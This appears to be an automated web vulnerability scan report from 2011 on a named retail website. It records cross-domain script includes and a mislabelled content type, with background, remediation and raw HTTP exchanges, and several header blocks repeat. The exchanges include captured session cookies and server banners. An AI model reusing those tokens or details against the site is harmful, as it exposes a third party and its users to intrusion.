<a target="_blank" href="http://www.mcafeesecure.com/RatingVerify?ref=www.worldmarket.com"><img border="0" src="http://images.scanalert.com/meter/www.worldmarket.com/35.gif" align="absmiddle" alt="HACKER SAFE certified sites prevent over 99% of hacker crime." oncontextmenu="alert('Copying Prohibited by Law - HACKER SAFE is a Trademark of ScanAlert'); return false;" align="absmiddle" style="margin-top:5px;"></a> ...[SNIP]... </div>
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:49 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b0a0a0304; expires=Saturday, 21-Jan-2079 19:32:56 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 87066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<a class="facebook" href="http://www.facebook.com/costplusworldmarket" title="Facebook" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_facebook.gif" alt="World Market on Facebook"/><p>Facebook</p></a> <a href="http://www.twitter.com/worldmarket" title="Twitter" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_tweet.gif" alt="World Market on Twitter"/><p> ...[SNIP]... <li class="explorerrewardsprogram"> <a href="http://worldmarketexplorer.com/?ab=footer:WME" target="_blank" title="Join the World Market Rewards Program - It's Free!"><img src="http://cpwm.imageg.net/images/WM_SQLogo-145x83.gif" width="145" height="83" alt="Join the World Market Rewards Program - It's Free!"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME" title="Learn More about World Market Credit Card"><img border="0" height="36" src="http://cpwm.imageg.net/images/wmcc_top.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME"><img src="http://cpwm.imageg.net/images/wmcc_cta.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/about-us/" title="About Us">About Us</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/careers/" title="Careers">Careers</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/product-recalls/" title="Product Recalls">Product Recalls</a> ...[SNIP]... <li><a href="http://www.worldmarketcorp.com/media-relations/as-seen-in/" title="As Seen In">As Seen In</a> ...[SNIP]... <div id="secure">
<a target="_blank" href="http://www.mcafeesecure.com/RatingVerify?ref=www.worldmarket.com"><img border="0" src="http://images.scanalert.com/meter/www.worldmarket.com/35.gif" align="absmiddle" alt="HACKER SAFE certified sites prevent over 99% of hacker crime." oncontextmenu="alert('Copying Prohibited by Law - HACKER SAFE is a Trademark of ScanAlert'); return false;" align="absmiddle" style="margin-top:5px;"></a> ...[SNIP]... </div>
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:49 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b0a0a0304; expires=Saturday, 21-Jan-2079 19:32:56 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 87066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<a class="facebook" href="http://www.facebook.com/costplusworldmarket" title="Facebook" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_facebook.gif" alt="World Market on Facebook"/><p>Facebook</p></a> <a href="http://www.twitter.com/worldmarket" title="Twitter" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_tweet.gif" alt="World Market on Twitter"/><p> ...[SNIP]... <li class="explorerrewardsprogram"> <a href="http://worldmarketexplorer.com/?ab=footer:WME" target="_blank" title="Join the World Market Rewards Program - It's Free!"><img src="http://cpwm.imageg.net/images/WM_SQLogo-145x83.gif" width="145" height="83" alt="Join the World Market Rewards Program - It's Free!"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME" title="Learn More about World Market Credit Card"><img border="0" height="36" src="http://cpwm.imageg.net/images/wmcc_top.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME"><img src="http://cpwm.imageg.net/images/wmcc_cta.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/about-us/" title="About Us">About Us</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/careers/" title="Careers">Careers</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/product-recalls/" title="Product Recalls">Product Recalls</a> ...[SNIP]... <li><a href="http://www.worldmarketcorp.com/media-relations/as-seen-in/" title="As Seen In">As Seen In</a> ...[SNIP]... <div id="secure">
<a target="_blank" href="http://www.mcafeesecure.com/RatingVerify?ref=www.worldmarket.com"><img border="0" src="http://images.scanalert.com/meter/www.worldmarket.com/35.gif" align="absmiddle" alt="HACKER SAFE certified sites prevent over 99% of hacker crime." oncontextmenu="alert('Copying Prohibited by Law - HACKER SAFE is a Trademark of ScanAlert'); return false;" align="absmiddle" style="margin-top:5px;"></a> ...[SNIP]... </div>
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:55 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:33:02 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 75966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /cart/index.jsp HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:28:06 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 86627
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:47 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b0a0a0304; expires=Saturday, 21-Jan-2079 19:32:55 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 87066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:55 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:33:02 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 75966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response contains the following Content-type statement:
Content-Type: text/plain; charset=ISO-8859-1
The response states that it contains plain text. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /cms_widgets/38/99/389931_assets/cpwm_Aslides.txt HTTP/1.1 Host: www.worldmarket.com Proxy-Connection: keep-alive Referer: http://www.worldmarket.com/home/index.jsp Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; browser_id=121247510543; __g_c=w%3A0
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:35 GMT Server: Apache/2.0.63 (Unix) Last-Modified: Sun, 02 Jan 2011 05:01:58 GMT ETag: "bec331-141a-498d5ef5abd80" Accept-Ranges: bytes Cache-Control: max-age=172800 Expires: Wed, 05 Jan 2011 16:18:35 GMT Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 5146
var _scripts = $$('script'); cpwm_Aslides_src = _scripts[_scripts.length-1].src.replace(/[^\/]+$/,'');
var cpwm_Aslides = function() { var next = 0; var current = 0; var last = 0; var slid ...[SNIP]...
Report generated by XSS.CX at Mon Jan 03 13:42:08 CST 2011.